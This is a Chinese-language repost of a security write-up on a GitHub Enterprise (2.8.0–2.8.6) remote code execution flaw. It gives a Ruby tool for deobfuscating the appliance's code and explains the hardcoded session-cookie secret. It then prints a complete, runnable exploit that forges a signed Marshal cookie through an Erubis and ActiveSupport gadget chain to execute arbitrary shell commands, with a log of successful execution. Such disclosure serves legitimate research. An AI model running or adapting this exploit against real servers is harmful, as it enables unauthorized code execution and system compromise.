GitHub Enterprise远程代码执行

Deobrouscating代码

当你下载GitHub Enterprise时,你会得到一个VirtualBox镜像,你可以在自己的盒子上部署。在/data 目录里面的GitHub代码:

data
├── alambic
├── babeld
├── codeload
├── db
├── enterprise
├── enterprise-manage
├── failbotd
├── git-hooks
├── github
├── git-import
├── gitmon
├── gpgverify
├── hookshot
├── lariat
├── longpoll
├── mail-replies
├── pages
├── pages-lua
├── render
├── slumlord
└── user

但是里面的代码许多都是被混淆的。大多数代码是这样的:

require "ruby_concealer"
__ruby_concealer__ "\xFF\xB3/\xDFH\x8A\xA7\xBF=U\xED\x91y\xDA\xDB\xA2qV <more binary yada yada>"

有一个ruby命名为ruby_concealer.so的模块,它在二进制字符串运行Zlib::Inflate::inflate,XOR的key是”This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. “。

可以用以下工具对代码进行反混淆:

#!/usr/bin/ruby
#
# This tool is only used to "decrypt" the github enterprise source code.
#
# Run in the /data directory of the instance.

require "zlib"
require "byebug"

KEY = "This obfuscation is intended to discourage GitHub Enterprise customers "+
"from making modifications to the VM. We know this 'encryption' is easily broken. "

class String
 def unescape
 buffer = []
 mode = 0
 tmp = ""

# https://github.com/ruby/ruby/blob/trunk/doc/syntax/literals.rdoc#strings
 sequences = {
 "a" => 7,
 "b" => 8,
 "t" => 9,
 "n" => 10,
 "v" => 11,
 "f" => 12,
 "r" => 13,
 "e" => 27,
 "s" => 32,
 "\"" => 34,
 "#" => 35,
 "\\" => 92,
 "{" => 123,
 "}" => 125,
 }

self.chars.each do |c|
 if mode == 0
 if c == "\\"
 mode = 1
 tmp = ""
 else
 buffer << c.ord
 end
 else
 tmp << c

if tmp[0] == "x"
 if tmp.length == 3
 buffer << tmp[1..2].hex
 mode = 0
 tmp = ""
 next
 else
 next
 end
 end

if tmp.length == 1 && sequences[tmp]
 buffer << sequences[tmp]
 mode = 0
 tmp = ""
 next
 end

raise "Unknown sequences: \"\\#{tmp}\""
 end
 end

buffer.pack("C*")
 end

def decrypt
 i, plaintext = 0, ''

Zlib::Inflate.inflate(self).each_byte do |c|
 plaintext << (c ^ KEY[i%KEY.length].ord).chr
 i += 1
 end
 plaintext
 end
end

Dir.glob("**/*.rb").each do |file|
 header = "require \"ruby_concealer.so\"\n__ruby_concealer__ \""
 len = header.length
 File.open(file, "r+") do |fh|
 if fh.read(len) == header
 puts file
 ciphertext = fh.read[0..-1].unescape
 plaintext = ciphertext.decrypt
 fh.truncate(0)
 fh.rewind
 fh.write(plaintext)
 end
 end
end

Enterprise管理接口

现在我们得到了我们想要的代码了,可以开始寻找漏洞了。我认为管理控制台是一个目标。如果你是管理员,你可以添加SSH密钥(根访问),关闭服务等。对于许多人来说它是这样的:

ghe-login

代码可以在/data/enterprise-manage/current/中找到。

会话管理

由于管理接口的是一个 rack app,所以第一件事是查看config.ru文件,以了解更多关于应用程序的架构,我注意到它使用Rack::Session::Cookie。可以从名称中看出来,这是将会话数据转储到cookie的rack中间件。

# Enable sessions
use Rack::Session::Cookie,
 :key => "_gh_manage",
 :path => "/",
 :expire_after => 1800, # 30 minutes in seconds
 :secret => ENV["ENTERPRISE_SESSION_SECRET"] || "641dd6454584ddabfed6342cc66281fb"

内部运作基本是这样的。

序列化会话数据cookie

当rack应用程序完成时,Rack::Session::Cookie使用此算法将会话数据保存到cookie:

  • 将会话hash({"user_id" => 1234, "admin" => true}或者是类似的)放置在应用程序env["rack.session"]中
  • 运行Marshal.dump来将ruby哈希转换为字符串
  • 对结果字符串进行Base64编码
  • 并附加已经用secret进行了salted的数据hash,以防止篡改。
  • 将结果保存到_gh_managecookie

将来自cookie的会话数据进行反序列化

要从cookie加载数据,请执行Rack::Session::Cookie的以下操作。例如,让cookie设置为此值。

cookie = "BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTRhYjMwYjIyM2Y5MTMzMGFiMmJj%0AMjdiMDI1O"+
"WY1ODkxMzA2OGNlMGVmOTM0ODA1Y2QwZGRiZGQwYTM3MTEwNzgG%0AOwBGSSIPY3NyZi50b2tlbgY7AFR"+
"JIjFKMzgrbExpUnpkN3ZEazZld1N1eUhY%0AcjQ0akFlc3NjM1ZFVzArYjI3aWdNPQY7AEY%3D%0A--5e"+
"b02d2e1b1845e9f766c2282de2d19dc64d0fb9"

它将字符串拆分为”--“,运行反向url转义,并使用base64解码结果,来获取二进制数据和签名。

data, hmac = cookie.split("--")
data = CGI.unescape(data).unpack("m").first

# => data = "\x04\b{\aI\"\x0Fsession_id\x06:\x06ETI\"E4ab30b223f91330ab2bc27b025
# 9f58913068ce0ef934805cd0ddbdd0a3711078\x06;\x00FI\"\x0Fcsrf.token\x06;\x00TI\"
# 1J38+lLiRzd7vDk6ewSuyHXr44jAessc3VEW0+b27igM=\x06;\x00F"
# => hmac = "5eb02d2e1b1845e9f766c2282de2d19dc64d0fb9

然后它计算预期的hmac:

secret = "641dd6454584ddabfed6342cc66281fb"
expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)

如果计算的hash与预估的匹配,则将结果反馈到 Marshal.load。否则,它被丢弃:

if expected_hmac == hmac
 session = Marshal.load(data)
end

# => {"session_id" => "4ab30b223f91330ab2bc27b0259f58913068ce0ef934805cd0ddbdd0a3711078",
# "csrf.token" => "J38+lLiRzd7vDk6ewSuyHXr44jAessc3VEW0+b27igM="}

漏洞

上面的代码有两个问题。

  • ENV["ENTERPRISE_SESSION_SECRET"]从不设置,所以secret默认为上面的值。你可以签署任意Cookie并根据需要来设置会话ID。但这并不能帮助你,因为会话ID是32个随机字节。
  • 你可以伪造一个有效的签名来进入任意数据的Marshal.load。与JSON不同,Marshal格式不仅允许散列,数组和静态类型,而且还允许ruby对象。这就表示它允许远程代码执行,如你看到的。

制作exploit代码

要运行任意代码,我需要在反序列化生成输入marshal.load来运行我的代码。为了实现这一点,我需要在访问对象上构建运行的代码。这由两个阶段组成:

恶意ERb模板

我们可以用Erubis读取它们并生成一个Erubis::Eruby对象来解析.erb模板,它包含@src模板中instance变量的代码。我只需要调用object.result,我的代码就会运行。

erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, "%x{id > /tmp/pwned}; 1"
# erubis.result would run the code

邪恶的InstanceVariableProxy

ActiveSupport中它会告诉用户事情发生了变化,它叫ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy。你可以使用它来deprecate这个instance变量。如果在instance变量上运行一个method,它会为你调用一个method并发出警告。这正是我需要的。参见本会议的例子:

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erubis, :result)
session = {"session_id" => "", "exploit" => proxy}

如果我想访问session["exploit"]的话它要求erubis.result,然后运行嵌入式shell命令id > /tmp/pwned并返回1。

现在我们只要把它包装成一个会话cookie,用secret签名,我们就有一个远程代码执行了。

exploit代码

这是我发送到GitHub的完整exploit代码。仅用于教育目的。

#!/usr/bin/ruby
require "openssl"
require "cgi"
require "net/http"
require "uri"

SECRET = "641dd6454584ddabfed6342cc66281fb"

puts ' ___. .__ '
puts ' ____ ___ ________ \_ |__ | | __ __ ____ '
puts '_/ __ \\\\ \/ /\__ \ | __ \| | | | \_/ __ \ '
puts '\ ___/ > < / __ \| \_\ \ |_| | /\ ___/ '
puts ' \___ >__/\_ \(____ /___ /____/____/ \___ >'
puts ' \/ \/ \/ \/ \/ '
puts ''
puts "github Enterprise RCE exploit"
puts "Vulnerable: 2.8.0 - 2.8.6"
puts "(C) 2017 iblue <iblue@exablue.de>"

unless ARGV[0] && ARGV[1]
 puts "Usage: ./exploit.rb <hostname> <valid ruby code>"
 puts ""
 puts "Example: ./exploit.rb ghe.example.org \"%x(id > /tmp/pwned)\""
 exit 1
end

hostname = ARGV[0]
code = ARGV[1]

# First we get the cookie from the host to check if the instance is vulnerable.
puts "[+] Checking if #{hostname} is vulnerable..."

http = Net::HTTP.new(hostname, 8443)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # We may deal with self-signed certificates

rqst = Net::HTTP::Get.new("/")

while res = http.request(rqst)
 case res
 when Net::HTTPRedirection then
 puts " => Following redirect to #{res["location"]}..."
 rqst = Net::HTTP::Get.new(res["location"])
 else
 break
 end
end

def not_vulnerable
 puts " => Host is not vulnerable"
 exit 1
end

unless res['Set-Cookie'] =~ /\A_gh_manage/
 not_vulnerable
end

# Parse the cookie
begin
 value = res['Set-Cookie'].split("=", 2)[1]
 data = CGI.unescape(value.split("--").first)
 hmac = value.split("--").last.split(";", 2).first
 expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, data)
 not_vulnerable if expected_hmac != hmac
rescue
 not_vulnerable
end

puts " => Host is vulnerable"

# Now construct the cookie
puts "[+] Assembling magic cookie..."

# Stubs, since we don't want to execute the code locally.
module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end

erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, "#{code}; 1"
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result
proxy.instance_variable_set :@var, "@result"

session = {"session_id" => "", "exploit" => proxy}

# Marshal session
dump = [Marshal.dump(session)].pack("m")
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)

puts "[+] Sending cookie..."

rqst = Net::HTTP::Get.new("/")
rqst['Cookie'] = "_gh_manage=#{CGI.escape("#{dump}--#{hmac}")}"

res = http.request(rqst)

if res.code == "302"
 puts " => Code executed."
else
 puts " => Something went wrong."
end

用法示例

iblue@raven:/tmp$ ruby exploit.rb 192.168.1.165 "%x(id > /tmp/pwned)"
 ___. .__
 ____ ___ ________ \_ |__ | | __ __ ____
_/ __ \\ \/ /\__ \ | __ \| | | | \_/ __ \
\ ___/ > < / __ \| \_\ \ |_| | /\ ___/
 \___ >__/\_ \(____ /___ /____/____/ \___ >
 \/ \/ \/ \/ \/

[+] Checking if 192.168.1.165 is vulnerable...
 => Following redirect to /setup/...
 => Following redirect to https://192.168.1.165:8443/setup/unlock?redirect_to=/...
 => Host is vulnerable
[+] Assembling magic cookie...
[+] Sending cookie...
 => Code executed.

iblue@raven:/tmp$ ssh -p122 admin@192.168.1.165
 ___ _ _ _ _ _ ___ _ _
 / __(_) |_| || |_ _| |__ | __|_ _| |_ ___ _ _ _ __ _ _(_)___ ___
 | (_ | | _| __ | || | '_ \ | _|| ' \ _/ -_) '_| '_ \ '_| (_-</ -_)
 \___|_|\__|_||_|\_,_|_.__/ |___|_||_\__\___|_| | .__/_| |_/__/\___|
 |_|

Administrative shell access is permitted for troubleshooting and performing
documented operations procedures only. Modifying system and application files,
running programs, or installing unsupported software packages may void your
support contract. Please contact GitHub Enterprise technical support at
enterprise@github.com if you have a question about the activities allowed by
your support contract.
Last login: Thu Jan 26 10:10:19 2017 from 192.168.1.145
admin@ghe-deepmagic-de:~$ cat /tmp/pwned 
uid=605(enterprise-manage) gid=605(enterprise-manage) groups=605(enterprise-manage)

 

*作者:exablue,MottoIN小编编译发布,转载请注明来自MottoIN

原创文章,作者:Stbird,如若转载,请注明出处:http://www.mottoin.com/article/web/98569.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code